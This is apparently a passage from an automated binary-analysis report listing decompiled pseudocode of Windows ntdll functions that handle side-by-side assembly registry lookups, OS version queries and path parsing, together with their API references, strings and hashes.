				signed int _v624;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t76;
				intOrPtr _t79;
				signed int _t82;
				intOrPtr _t84;
				intOrPtr* _t103;
				void* _t104;
				intOrPtr _t107;
				void* _t110;
				void* _t111;
				void* _t117;
				int _t121;
				signed int* _t124;
				void* _t125;
				signed int _t129;
				signed int _t131;

				_t131 = (_t129 & 0xfffffff8) - 0x25c;
				_v8 =  *0x6b56d360 ^ _t131;
				_t103 = _a8;
				_t124 = _a12;
				_t76 = _a4 - 1;
				if(_t76 == 0) {
					_v580 = 0x18;
					_push( &_v580);
					_v568 = 0x40;
					_push(8);
					_v600 = 0;
					_push( &_v600);
					_v576 = 0;
					_v572 = 0x6b4513a8;
					_v564 = 0;
					_v560 = 0;
					_t79 = E6B4B9600();
					_v620 = _t79;
					if(_t79 >= 0 || _t79 == 0xc0000034 || _t79 == 0xc0000189) {
						_t80 = _v600;
						 *(_t103 + 0x18) =  *(_t103 + 0x18) | 0xffffffff;
						 *((intOrPtr*)(_t103 + 8)) = _v600;
					} else {
						_push(_t79);
						_t80 = E6B505720(0x33, 0, "SXS: Unable to open registry key %wZ Status = 0x%08lx\n", 0x6b4513a8);
						 *((char*)(_t103 + 0x1c)) = 1;
						L36:
						_t131 = _t131 + 0x14;
						if(_t124 == 0) {
							L9:
							_pop(_t117);
							_pop(_t125);
							_pop(_t104);
							return E6B4BB640(_t80, _t104, _v8 ^ _t131, _t113, _t117, _t125);
						}
						_t80 = _v608;
						L38:
						 *_t124 = _t80;
					}
					goto L9;
				}
				_t82 = _t76 - 1;
				if(_t82 != 0) {
					_t80 = _t82;
					if(_t80 == 0 &&  *_t103 != _t80) {
						_push( *_t103);
						_t80 = E6B4B95D0();
					}
					goto L9;
				}
				_t84 =  *((intOrPtr*)(_t103 + 4));
				if(_t84 != 0) {
					if(_t84 != 1) {
						_t107 =  *_t103;
						_t80 = _t84 + 0xfffffffe;
						_v608 = _t107;
						_v584 = 0;
						_v596 = _t80;
						if(_t107 == 0) {
							L30:
							 *((char*)(_t103 + 9)) = 1;
							goto L9;
						}
						_push( &_v584);
						_push(0x220);
						_t113 =  &_v556;
						_push( &_v556);
						_push(0);
						_push(_t80);
						_push(_t107);
						_t80 = E6B4B9820();
						_v624 = _t80;
						if(_t80 >= 0) {
							_t80 = _v544;
							if(_t80 > 0xfffe) {
								L20:
								 *((char*)(_t103 + 8)) = 1;
								if(_t124 != 0) {
									 *_t124 = 0xc0000106;
								}
								goto L9;
							}
							_t113 =  &_v592;
							_v592 = _t80;
							_v590 = _t80;
							_v588 =  &_v540;
							_t80 = E6B504A28(_v608,  &_v592, _t103 + 0xc);
							_v612 = _t80;
							if(_t80 >= 0) {
								goto L9;
							}
							_push(_t80);
							_t80 = E6B505720(0x33, 0, "SXS: Attempt to get storage location from subkey %wZ failed; Status = 0x%08lx\n",  &_v592);
							 *((char*)(_t103 + 8)) = 1;
							goto L36;
						}
						if(_t80 == 0x8000001a) {
							goto L30;
						}
						_push(_t80);
						_t80 = E6B505720(0x33, 0, "SXS: Unable to enumerate assembly storage subkey #%lu Status = 0x%08lx\n", _v596);
						_t131 = _t131 + 0x14;
						 *((char*)(_t103 + 8)) = 1;
						if(_t124 == 0) {
							goto L9;
						}
						_t80 = _v600;
						goto L38;
					}
					RtlInitUnicodeString( &_v608, E6B48AAB0());
					_t113 = _v616 & 0x0000ffff;
					 *(_t103 + 0xc) = 0;
					_t27 = _t113 + 0x10; // 0x50
					_t80 = _t27;
					if(_t27 > ( *(_t103 + 0xe) & 0x0000ffff)) {
						L22:
						 *((char*)(_t103 + 8)) = 1;
						if(_t124 != 0) {
							 *_t124 = 0xc0000023;
						}
						goto L9;
					}
					memcpy( *(_t103 + 0x10), _v612, _t113);
					_t131 = _t131 + 0xc;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t80 = _v616 + 0x10;
					L8:
					 *(_t103 + 0xc) = _t80;
					goto L9;
				}
				_t80 =  *( *[fs:0x30] + 0x10);
				_t121 =  *( *( *[fs:0x30] + 0x10) + 0x38) & 0x0000ffff;
				_v596 = _t121;
				_t9 = _t121 + 0x10; // 0x6b486177
				_t110 = _t9;
				if(_t110 > 0xfffe) {
					goto L20;
				}
				_t80 =  *(_t103 + 0xe) & 0x0000ffff;
				if(_t110 > ( *(_t103 + 0xe) & 0x0000ffff)) {
					goto L22;
				}
				_t111 =  *( *( *[fs:0x30] + 0x10) + 0x3c);
				if(( *( *( *[fs:0x30] + 0x10) + 8) & 0x00000001) == 0) {
					_t111 = _t111 +  *( *[fs:0x30] + 0x10);
				}
				memcpy( *(_t103 + 0x10), _t111, _t121);
				_t131 = _t131 + 0xc;
				_t113 = 1;
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *(_t103 + 0xc) = _v596 + 0xe;
				if(E6B4AD268( *(_t103 + 0x10), 1) != 0) {
					goto L9;
				} else {
					_t80 = 0;
					goto L8;
				}
			}

0x6b4accc8
0x6b4accd5
0x6b4acce0
0x6b4acce4
0x6b4acce8
0x6b4acceb
0x6b4ace12
0x6b4ace1a
0x6b4ace1d
0x6b4ace25
0x6b4ace2b
0x6b4ace2f
0x6b4ace30
0x6b4ace34
0x6b4ace3c
0x6b4ace40
0x6b4ace44
0x6b4ace49
0x6b4ace4f
0x6b4ace5c
0x6b4ace60
0x6b4ace64
0x6b4ead96
0x6b4ead96
0x6b4eada4
0x6b4eada9
0x6b4eadad
0x6b4eadad
0x6b4eadb2
0x6b4acd88
0x6b4acd8f
0x6b4acd90
0x6b4acd91
0x6b4acd9c
0x6b4acd9c
0x6b4eadb8
0x6b4eadbc
0x6b4eadbc
0x6b4eadbc
0x00000000
0x6b4ace4f
0x6b4accf1
0x6b4accf4
0x6b4acda0
0x6b4acda3
0x6b4eac7c
0x6b4eac7e
0x6b4eac7e
0x00000000
0x6b4acda3
0x6b4accfa
0x6b4accff
0x6b4acdb1
0x6b4eacc4
0x6b4eacc8
0x6b4eaccb
0x6b4eaccf
0x6b4eacd3
0x6b4eacd9
0x6b4ead2b
0x6b4ead2b
0x00000000
0x6b4ead2b
0x6b4eacdf
0x6b4eace0
0x6b4eace5
0x6b4eace9
0x6b4eacea
0x6b4eaceb
0x6b4eacec
0x6b4eaced
0x6b4eacf2
0x6b4eacf8
0x6b4ead34
0x6b4ead3d
0x6b4eac88
0x6b4eac88
0x6b4eac8e
0x6b4eac94
0x6b4eac94
0x00000000
0x6b4eac8e
0x6b4ead47
0x6b4ead4b
0x6b4ead50
0x6b4ead59
0x6b4ead61
0x6b4ead66
0x6b4ead6c
0x00000000
0x00000000
0x6b4ead72
0x6b4ead80
0x6b4ead85
0x00000000
0x6b4ead85
0x6b4eacff
0x00000000
0x00000000
0x6b4ead01
0x6b4ead0e
0x6b4ead13
0x6b4ead16
0x6b4ead1c
0x00000000
0x00000000
0x6b4ead22
0x00000000
0x6b4ead22
0x6b4acdc2
0x6b4acdc7
0x6b4acdd2
0x6b4acdd6
0x6b4acdd6
0x6b4acddb
0x6b4eac9f
0x6b4eac9f
0x6b4eaca5
0x6b4eacab
0x6b4eacab
0x00000000
0x6b4eaca5
0x6b4acde9
0x6b4acdfb
0x6b4acdfe
0x6b4acdff
0x6b4ace00
0x6b4ace01
0x6b4ace06
0x6b4acd84
0x6b4acd84
0x00000000
0x6b4acd84
0x6b4acd0b
0x6b4acd0e
0x6b4acd12
0x6b4acd16
0x6b4acd16
0x6b4acd1f
0x00000000
0x00000000
0x6b4acd25
0x6b4acd2b
0x00000000
0x00000000
0x6b4acd3a
0x6b4acd4a
0x6b4eacbc
0x6b4eacbc
0x6b4acd56
0x6b4acd66
0x6b4acd6c
0x6b4acd6e
0x6b4acd6f
0x6b4acd70
0x6b4acd71
0x6b4acd75
0x6b4acd80
0x00000000
0x6b4acd82
0x6b4acd82
0x00000000
0x6b4acd82

APIs

memcpy.1105(6B454F84,?,6B486167,00000040,?,?), ref: 6B4ACD56

Part of subcall function 6B4AD268: RtlInitUnicodeStringEx.1105(?,00000000,00000000,?,?,6B4F4718,00000030,?,00000000,?,6B4DF5F2,?,00000024,00000000,?), ref: 6B4AD278

RtlGetNtSystemRoot.1105(00000040,?,?), ref: 6B4ACDB7
RtlInitUnicodeString.1105(00000000,00000000,00000040,?,?), ref: 6B4ACDC2
memcpy.1105(6B454F84,00000000,00000040,00000000,00000000,00000040,?,?), ref: 6B4ACDE9
ZwOpenKey.1105(?,00000008,?,?,?,?), ref: 6B4ACE44
ZwClose.1105(?,00000040,?,?), ref: 6B4EAC7E

Strings

SXS: Unable to enumerate assembly storage subkey #%lu Status = 0x%08lx, xrefs: 6B4EAD06
SXS: Unable to open registry key %wZ Status = 0x%08lx, xrefs: 6B4EAD9C
.Local\, xrefs: 6B4ACD61
@, xrefs: 6B4ACE1D
SXS: Attempt to get storage location from subkey %wZ failed; Status = 0x%08lx, xrefs: 6B4EAD78
\WinSxS\, xrefs: 6B4ACDF3

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicodememcpy$CloseOpenRootSystem
String ID: .Local\$@$SXS: Attempt to get storage location from subkey %wZ failed; Status = 0x%08lx$SXS: Unable to enumerate assembly storage subkey #%lu Status = 0x%08lx$SXS: Unable to open registry key %wZ Status = 0x%08lx$\WinSxS\
API String ID: 3618765437-3926108909
Opcode ID: 7dd46e851d64e3aa72ce953219d3b998c03a91a39a1167cdb582e7d8334b41b6
Instruction ID: e9ee7567c45d0e33cd4a07c4940953f599e55d4a529e7220bff20bad7782954c
Opcode Fuzzy Hash: 7dd46e851d64e3aa72ce953219d3b998c03a91a39a1167cdb582e7d8334b41b6
Instruction Fuzzy Hash: EA81AA715083419FD711CF28C880F5BBBF8AF96B04F00899EF8949B256D778D945CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6B4765A0, Relevance: 28.2, APIs: 9, Strings: 7, Instructions: 157
nativeCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E6B4765A0(intOrPtr _a4, intOrPtr* _a8, intOrPtr* _a12) {
				signed int _v8;
				void* _v28;
				signed int _v300;
				intOrPtr _v304;
				signed int _v308;
				intOrPtr _v312;
				intOrPtr _v316;
				intOrPtr _v320;
				void _v324;
				intOrPtr* _v328;
				void _v332;
				int _v336;
				void* _v340;
				char _v344;
				void* _v348;
				char _v352;
				char _v356;
				char _v360;
				char _v364;
				void* _v368;
				void* _v372;
				void* _v388;
				void* __ebx;
				void* __edi;
				void* __esi;
				void _t75;
				intOrPtr* _t110;
				void* _t111;
				signed int _t112;
				signed int _t118;
				void* _t132;
				void* _t135;
				intOrPtr* _t137;
				void* _t142;
				signed int _t143;
				signed int _t145;

				_t145 = (_t143 & 0xfffffff8) - 0x15c;
				_v8 =  *0x6b56d360 ^ _t145;
				_t75 = _a4;
				_t124 = 0;
				_v332 = _t75;
				_t110 = _a12;
				_t137 = _a8;
				_v328 = _t137;
				if(_t75 != 0) {
					_push("true");
					_pop(_t112);
					_v340 = 0;
					_v336 = 0;
					memset( &_v324, 0, _t112 << 2);
					_t145 = _t145 + 0xc;
					_v344 = 0;
					_v348 = 0;
					_t132 = 0;
					RtlInitUnicodeString( &_v340, L"\\Registry\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion");
					_v332 = 0x18;
					_v324 =  &_v348;
					_v328 = 0;
					_push( &_v332);
					_push(0x20119);
					_v320 = 0x40;
					_push( &_v352);
					_v316 = 0;
					_v312 = 0;
					if(E6B4B9600() >= 0) {
						if(E6B4766D4(_v352, L"UBR",  &_v356) >= 0) {
							_t132 = _v356;
						}
						_push(_v352);
						E6B4B95D0();
					}
					_v308 = 0x11c;
					E6B4A4020( &_v308);
					_t89 = _v344;
					asm("adc esi, edx");
					asm("adc esi, 0x0");
					 *_t89 = 0 + _v300 * 0x10000 + _t132;
					 *((intOrPtr*)(_t89 + 4)) = _v308 * 0x10000 + _v304;
					_t124 = 0;
					_t137 = _v340;
				}
				if(_t137 != 0) {
					_v348 = _t124;
					_v344 = _t124;
					_v356 = 3;
					RtlInitUnicodeString( &_v348, L"Kernel-OneCore-DeviceFamilyID");
					_push( &_v344);
					_push(4);
					_push( &_v364);
					_push( &_v348);
					_push( &_v356);
					E6B4BA9B0();
					_t89 =  *((intOrPtr*)(_t145 + 0x10));
					 *_t137 =  *((intOrPtr*)(_t145 + 0x10));
				}
				if(_t110 != 0) {
					_t118 = 6;
					memset( &_v332, 0, _t118 << 2);
					_t145 = _t145 + 0xc;
					_v348 = 0;
					_v344 = 0;
					_v352 = 0;
					_v356 = 0;
					 *_t110 = 0;
					RtlInitUnicodeString( &_v348, L"\\Registry\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion\\OEM");
					_v340 = 0x18;
					_v332 =  &_v356;
					_push( &_v340);
					_push(0x20119);
					_v336 = 0;
					_push( &_v360);
					_v328 = 0x40;
					_v324 = 0;
					_v320 = 0;
					if(E6B4B9600() >= 0) {
						_t124 = L"DeviceForm";
						if(E6B4766D4(_v360, L"DeviceForm",  &_v364) >= 0) {
							 *_t110 = _v364;
						}
						_push(_v360);
						_t89 = E6B4B95D0();
					}
				}
				_pop(_t135);
				_pop(_t142);
				_pop(_t111);
				return E6B4BB640(_t89, _t111,  *(_t145 + 0x164) ^ _t145, _t124, _t135, _t142);
			}

0x6b4765a8
0x6b4765b5
0x6b4765bc
0x6b4765bf
0x6b4765c1
0x6b4765c6
0x6b4765ca
0x6b4765cd
0x6b4765d4
0x6b4d19a6
0x6b4d19a8
0x6b4d19ab
0x6b4d19b3
0x6b4d19b7
0x6b4d19b7
0x6b4d19c2
0x6b4d19c7
0x6b4d19cb
0x6b4d19cd
0x6b4d19d6
0x6b4d19de
0x6b4d19e8
0x6b4d19ec
0x6b4d19ed
0x6b4d19f6
0x6b4d19fe
0x6b4d19ff
0x6b4d1a03
0x6b4d1a0e
0x6b4d1a25
0x6b4d1a27
0x6b4d1a27
0x6b4d1a2b
0x6b4d1a2f
0x6b4d1a2f
0x6b4d1a38
0x6b4d1a41
0x6b4d1a66
0x6b4d1a6a
0x6b4d1a6e
0x6b4d1a71
0x6b4d1a73
0x6b4d1a76
0x6b4d1a78
0x6b4d1a78
0x6b4765dc
0x6b4765e7
0x6b4765ec
0x6b4765f0
0x6b4765f8
0x6b476601
0x6b476602
0x6b476608
0x6b47660d
0x6b476612
0x6b476613
0x6b476618
0x6b47661c
0x6b47661c
0x6b476620
0x6b47663b
0x6b476644
0x6b476644
0x6b47664f
0x6b476654
0x6b476658
0x6b47665c
0x6b476660
0x6b476662
0x6b47666b
0x6b476673
0x6b47667b
0x6b47667c
0x6b476685
0x6b476689
0x6b47668a
0x6b476692
0x6b476696
0x6b4766a1
0x6b4766b0
0x6b4766bc
0x6b4766d0
0x6b4766d0
0x6b4766be
0x6b4766c2
0x6b4766c2
0x6b4766a1
0x6b476629
0x6b47662a
0x6b47662b
0x6b476636

APIs

RtlInitUnicodeString.1105 ref: 6B4765F8
ZwQueryLicenseValue.1105(?,?,00000003,00000004,?), ref: 6B476613
RtlInitUnicodeString.1105(?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\OEM), ref: 6B476662
ZwClose.1105(?,?,?,?,?,?,00020119,00000018), ref: 6B4766C2
ZwOpenKey.1105(?,?,?,?,00020119,00000018), ref: 6B47669A

Part of subcall function 6B4B9600: LdrInitializeThunk.NTDLL(6B4B1119,?,?,00000018,?), ref: 6B4B960A

RtlInitUnicodeString.1105(?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6B4D19CD
ZwOpenKey.1105(?,?,?,?,00020119,00000018), ref: 6B4D1A07
ZwClose.1105(?,?,?,?,?,?,00020119,00000018), ref: 6B4D1A2F
RtlGetVersion.1105(?,?,?,?,?,00020119,00000018), ref: 6B4D1A41

Strings

DeviceForm, xrefs: 6B4766B0
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion, xrefs: 6B4D19B9
@, xrefs: 6B4D19F6
@, xrefs: 6B47668A
Kernel-OneCore-DeviceFamilyID, xrefs: 6B4765DE
UBR, xrefs: 6B4D1A19
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\OEM, xrefs: 6B476646

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode$CloseOpen$InitializeLicenseQueryThunkValueVersion
String ID: @$@$DeviceForm$Kernel-OneCore-DeviceFamilyID$UBR$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\OEM
API String ID: 2689724482-2811273990
Opcode ID: 3195a8cba8be226a43b97d277dd5fecac22d0db38878d3feea4894e61336004f
Instruction ID: 24d426b46e6abe46e111c4785be8e76c4781b644b8b0f5e4a7aa6b60337cbfd9
Opcode Fuzzy Hash: 3195a8cba8be226a43b97d277dd5fecac22d0db38878d3feea4894e61336004f
Instruction Fuzzy Hash: D8511AB15083159FC310DF29C881A8BBBE9AFC9754F40492EFA9897250D735D909CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6B492430, Relevance: 26.7, APIs: 10, Strings: 5, Instructions: 461
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E6B492430(signed char _a4, intOrPtr* _a8, intOrPtr* _a12, intOrPtr _a16, intOrPtr* _a20, signed int _a24, intOrPtr* _a28, int _a32, intOrPtr* _a36) {
				signed int _v8;
				char _v140;
				short _v172;
				char _v176;
				signed int _v180;
				intOrPtr _v184;
				intOrPtr _v188;
				char _v192;
				signed int _v196;
				signed int _v200;
				short* _v204;
				short* _v208;
				short* _v212;
				signed int _v214;
				void _v216;
				short _v224;
				short _v228;
				short* _v232;
				signed short* _v236;
				signed short* _v240;
				short _v242;
				char _v244;
				intOrPtr _v248;
				void* _v252;
				intOrPtr _v256;
				void* _v260;
				char* _v280;
				char _v284;
				int _v288;
				char _v292;
				signed int _v296;
				int _v300;
				signed int _v304;
				int _v312;
				intOrPtr _v316;
				char _v320;
				signed int _v324;
				signed short _v328;
				signed short* _v332;
				signed int _v336;
				char _v337;
				void* _v338;
				void* _v342;
				void* _v344;
				void* _v348;
				void* _v352;
				void* _v353;
				void* _v354;
				void* _v356;
				void* _v364;
				void* _v366;
				void* _v368;
				void* _v370;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t179;
				signed short* _t180;
				intOrPtr _t182;
				intOrPtr _t186;
				short* _t187;
				intOrPtr _t193;
				short* _t194;
				short* _t202;
				signed int _t224;
				char _t225;
				signed int _t226;
				intOrPtr* _t233;
				intOrPtr* _t246;
				void* _t247;
				intOrPtr* _t248;
				char* _t249;
				intOrPtr* _t255;
				short* _t256;
				signed short* _t259;
				signed int _t262;
				intOrPtr* _t264;
				void* _t265;
				signed short* _t266;
				intOrPtr _t267;
				int _t268;
				signed short* _t269;
				void* _t274;
				void* _t275;
				signed int _t276;
				void* _t278;
				signed int _t280;
				signed int _t282;

				_t282 = (_t280 & 0xfffffff8) - 0x154;
				_v8 =  *0x6b56d360 ^ _t282;
				_t248 = _a28;
				_t258 = _a32;
				_t179 = _a36;
				_t246 = _a20;
				_v296 = _t248;
				_v320 = 0;
				_v316 = 0;
				_v280 =  &_v140;
				_v300 = _t258;
				_v284 = 0x800000;
				_v288 = 0;
				_v328 = 0;
				_v304 = 0;
				_t264 = _a8;
				if(_t248 != 0) {
					 *_t248 = 0;
				}
				if(_t258 != 0) {
					 *_t258 = 0;
				}
				if(_t179 != 0) {
					 *_t179 = 0x208;
				}
				if(_t246 != 0) {
					 *_t246 = 0;
					 *((intOrPtr*)(_t246 + 4)) = 0;
				}
				_t180 =  &_v172;
				_v228 = 0x20;
				_v236 = _t180;
				_v232 = _t180;
				_v240 = _t180;
				_v172 = 0;
				_t182 = _a16;
				_v224 = 0x20;
				_v244 = 0x200000;
				if(_t182 == 0) {
					_t249 =  &_v192;
					_v200 = 2;
					_v208 = _t249;
					_v204 = _t249;
					_v212 = _t249;
					_v196 = 2;
					_v192 = 0;
					_v216 = 0x20000;
				} else {
					_t262 =  *(_t182 + 2) & 0x0000ffff;
					_t256 =  *((intOrPtr*)(_t182 + 4));
					if(_t262 < 2) {
						_t256 =  &_v192;
						_t262 = 2;
					}
					_v208 = _t256;
					_v200 = _t262;
					_v204 = _t256;
					_v196 = _t262;
					_v212 = _t256;
					if(_t256 != 0) {
						 *_t256 = 0;
					}
					_v214 = _t262;
					_t258 = _v300;
					_v216 = 0;
				}
				_t251 = _a24;
				_v188 = _t182;
				_v184 = _t246;
				_v180 = _t251;
				_v176 = 1;
				if((_a4 & 0xfffffffe) != 0) {
					_t274 = 0xc000000d;
					goto L82;
				} else {
					if(_t264 == 0) {
						_t274 = 0xc000000d;
						L82:
						if(_t274 >= 0) {
							L57:
							_t183 = _v316;
							if(_v316 != 0) {
								E6B47AD30(_t183);
								_v324 = 0;
								_v320 = 0;
							}
							_t186 = _v236;
							if(_t186 != 0) {
								if(_t186 != _v232) {
									_v248 = _t186;
									RtlFreeUnicodeString( &_v252);
								}
								_v240 = _v236;
								_v232 = _v228;
							}
							_t187 = _v232;
							_v240 = _t187;
							if(_t187 != 0) {
								_t251 = 0;
								 *_t187 = 0;
							}
							_v244 = 0;
							_v242 = _v224;
							if(_t274 == 0xc0150001) {
								E6B515100(_t251, "Internal error check failed", "minkernel\\ntdll\\sxsisol.cpp", 0x1b2, "Status != STATUS_SXS_SECTION_NOT_FOUND");
								_t274 = 0xc00000e5;
								goto L82;
							} else {
								_pop(_t265);
								_pop(_t275);
								_pop(_t247);
								return E6B4BB640(_t274, _t247, _v8 ^ _t282, _t258, _t265, _t275);
							}
						}
						L51:
						if(_v176 != 0) {
							_t193 = _v208;
							if(_t193 != 0 && _t193 != _v204) {
								_v256 = _t193;
								RtlFreeUnicodeString( &_v260);
							}
							_t194 = _v204;
							if(_t194 != 0) {
								_t251 = 0;
								 *_t194 = 0;
							}
						}
						memset( &_v216, 0, 0x2c);
						_t282 = _t282 + 0xc;
						goto L57;
					}
					if(_t182 == 0) {
						if(_t246 != 0 || _t258 == 0) {
							L15:
							_t251 = 0;
							_t266 =  *(_t264 + 4);
							_v336 =  *_t264;
							_t202 = _a12;
							_v332 = _t266;
							_v338 = 0;
							if(_t202 == 0 ||  *_t202 == 0) {
								L23:
								_t274 = 0;
								goto L24;
							} else {
								_v337 = 0;
								_t278 = E6B493690(1,  &_v336, 0x6b4511bc,  &_v292);
								if(_t278 < 0) {
									if(_t278 == 0xc0000225) {
										L19:
										_t274 = 0;
										L20:
										_t266 = _v332;
										if(_t274 < 0) {
											L97:
											_t251 = _v338;
											L24:
											if(_t274 < 0) {
												goto L51;
											}
											if(_t251 != 0) {
												_t266 = _v240;
												_v336 = _v244;
												_v332 = _t266;
											}
											_v312 = 0;
											_v338 = 0;
											if(_v316 != 0) {
												_t274 = 0xc000000d;
												goto L42;
											} else {
												_t224 = _v336;
												if(_t224 < 2) {
													L30:
													if(_t224 < 4 ||  *_t266 == 0 || _t266[1] != 0x3a || _t224 < 6) {
														L40:
														_t225 = _v338;
														goto L41;
													} else {
														_t226 = _t266[2] & 0x0000ffff;
														if(_t226 != 0x5c) {
															if(_t226 != 0x2f) {
																goto L40;
															}
														}
														_v324 = 2;
														L36:
														_t274 = E6B493850( &_v336,  &_v284,  &_v320,  &_v312, 0, 0,  &_v324, 0);
														if(_t274 < 0) {
															L42:
															_t204 = _v316;
															if(_v316 != 0) {
																E6B47AD30(_t204);
																_v324 = 0;
																_v320 = 0;
															}
															L43:
															if(_t274 < 0) {
																goto L51;
															}
															if((_a4 & 0x00000001) == 0 ||  *((intOrPtr*)( *[fs:0x30] + 0x10)) == 0 || ( *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 8) & 0x00001000) == 0) {
																L47:
																_t267 = _a16;
																if((_v304 & 0x00000001) != 0) {
																	L77:
																	if(_t246 == 0) {
																		if(_t267 == 0 || _v212 ==  *((intOrPtr*)(_t267 + 4))) {
																			goto L78;
																		} else {
																			_t274 = 0xc0000023;
																			goto L82;
																		}
																	}
																	L78:
																	_t268 = _v300;
																	if(_t268 != 0) {
																		_t274 = E6B493690(1,  &_v216, 0x6b451810,  &_v328);
																		if(_t274 < 0) {
																			goto L51;
																		}
																		 *_t268 = ((_v328 & 0x0000ffff) >> 1) + 1;
																	}
																	_t251 =  &_v216;
																	_t274 = E6B4B5969( &_v216);
																	if(_t274 < 0) {
																		goto L51;
																	}
																	_t251 = _v296;
																	if(_t251 != 0) {
																		 *_t251 = _v304;
																	}
																	_t274 = 0;
																	goto L82;
																}
																if(_t267 == 0) {
																	if(_t246 != 0) {
																		goto L49;
																	}
																	_t258 = 1;
																	L50:
																	_t251 =  &_v336;
																	_t274 = E6B492990( &_v336, _t258,  &_v288, _v296,  &_v216);
																	if(_t274 >= 0) {
																		goto L77;
																	}
																	goto L51;
																}
																L49:
																_t258 = 0;
																goto L50;
															} else {
																_t258 =  &_v216;
																_t251 =  &_v336;
																_t274 = E6B5040D2( &_v336,  &_v216,  &_v304);
																if(_t274 < 0) {
																	goto L51;
																}
																goto L47;
															}
														}
														_t233 = _v312;
														_t276 =  *_t233;
														_t269 =  *(_t233 + 4);
														_v312 = _t276;
														if(_v324 == 6) {
															_t259 = _v332;
															if( *((short*)(_t259 + 0xa)) != 0x3a ||  *((short*)(_t259 + 0xc)) != 0x5c) {
																goto L38;
															} else {
																_v332 = _t259 + 8;
																_t251 = _v336 + 0xfff8;
																 *((intOrPtr*)(_t282 + 0x16)) =  *((intOrPtr*)(_t282 + 0x16)) + 0xfff8;
																_t258 = _v312 + 0xfff8;
																_t269 =  &(_t269[4]);
																_v312 = _t258;
																 *((intOrPtr*)(_t282 + 0x2e)) =  *((intOrPtr*)(_t282 + 0x2e)) + 0xfff8;
																_t276 = _v312;
																_v336 = _t251;
																L39:
																if(_t251 > _t258) {
																	_t251 =  &_v320;
																	if(_t233 ==  &_v320) {
																		_t225 = 1;
																	} else {
																		_t225 = _v338;
																	}
																	_v336 = _t276;
																	_v332 = _t269;
																	L41:
																	_t274 = 0;
																	if(_t225 != 0) {
																		goto L43;
																	}
																	goto L42;
																}
																goto L40;
															}
														}
														L38:
														_t251 = _v336;
														_t258 = _v312;
														goto L39;
													}
												}
												_t251 =  *_t266 & 0x0000ffff;
												if(_t251 == 0x5c || _t251 == 0x2f) {
													if(_t224 < 4) {
														goto L40;
													}
													_t251 = _t266[1] & 0x0000ffff;
													if(_t251 == 0x5c || _t251 == 0x2f) {
														if(_t224 < 6) {
															L110:
															_v324 = 1;
															goto L36;
														}
														_t251 = _t266[2] & 0x0000ffff;
														if(_t251 == 0x2e || _t251 == 0x3f) {
															if(_t224 < 8) {
																L109:
																if(_t224 == 6) {
																	goto L40;
																}
																goto L110;
															}
															_t251 = _t266[3] & 0x0000ffff;
															if(_t251 == 0x5c || _t251 == 0x2f) {
																_v324 = 6;
																goto L36;
															} else {
																goto L109;
															}
														} else {
															goto L110;
														}
													} else {
														goto L40;
													}
												} else {
													goto L30;
												}
											}
										}
										if(_v337 == 0) {
											_t255 = _a12;
											 *(_t282 + 0x50) = _v336;
											 *(_t282 + 0x54) = _t266;
											 *((intOrPtr*)(_t282 + 0x58)) =  *_t255;
											 *((intOrPtr*)(_t282 + 0x5c)) =  *((intOrPtr*)(_t255 + 4));
											_v244 = 0;
											_t274 = E6B4AD5C0(_t255,  &_v244, 2, _t282 + 0x50);
											if(_t274 < 0) {
												goto L97;
											}
											_t251 = 1;
											goto L23;
										}
										_t251 = _v338;
										goto L23;
									}
									goto L20;
								}
								_v337 = 1;
								goto L19;
							}
						} else {
							L96:
							_t274 = 0xc000000d;
							goto L82;
						}
					}
					if(_t246 == 0 || _t251 != 0) {
						goto L15;
					} else {
						goto L96;
					}
				}
			}

0x6b492438
0x6b492445
0x6b49244c
0x6b49244f
0x6b492452
0x6b492456
0x6b49245c
0x6b492460
0x6b492464
0x6b49246f
0x6b492475
0x6b492479
0x6b492481
0x6b492489
0x6b49248e
0x6b492493
0x6b492498
0x6b4928f5
0x6b4928f5
0x6b4924a0
0x6b492956
0x6b492956
0x6b4924a8
0x6b49295d
0x6b49295d
0x6b4924b0
0x6b4924b4
0x6b4924b6
0x6b4924b6
0x6b4924b9
0x6b4924c0
0x6b4924cb
0x6b4924cf
0x6b4924d3
0x6b4924d9
0x6b4924e1
0x6b4924e4
0x6b4924ef
0x6b4924f9
0x6b49280f
0x6b492816
0x6b492821
0x6b492828
0x6b49282f
0x6b492838
0x6b492843
0x6b49284b
0x6b4924ff
0x6b4924ff
0x6b492503
0x6b492509
0x6b4dd20f
0x6b4dd216
0x6b4dd216
0x6b49250f
0x6b492516
0x6b49251d
0x6b492524
0x6b49252b
0x6b492534
0x6b492538
0x6b492538
0x6b49253d
0x6b492545
0x6b492549
0x6b492549
0x6b492558
0x6b49255b
0x6b492562
0x6b492569
0x6b492570
0x6b492578
0x6b4dd220
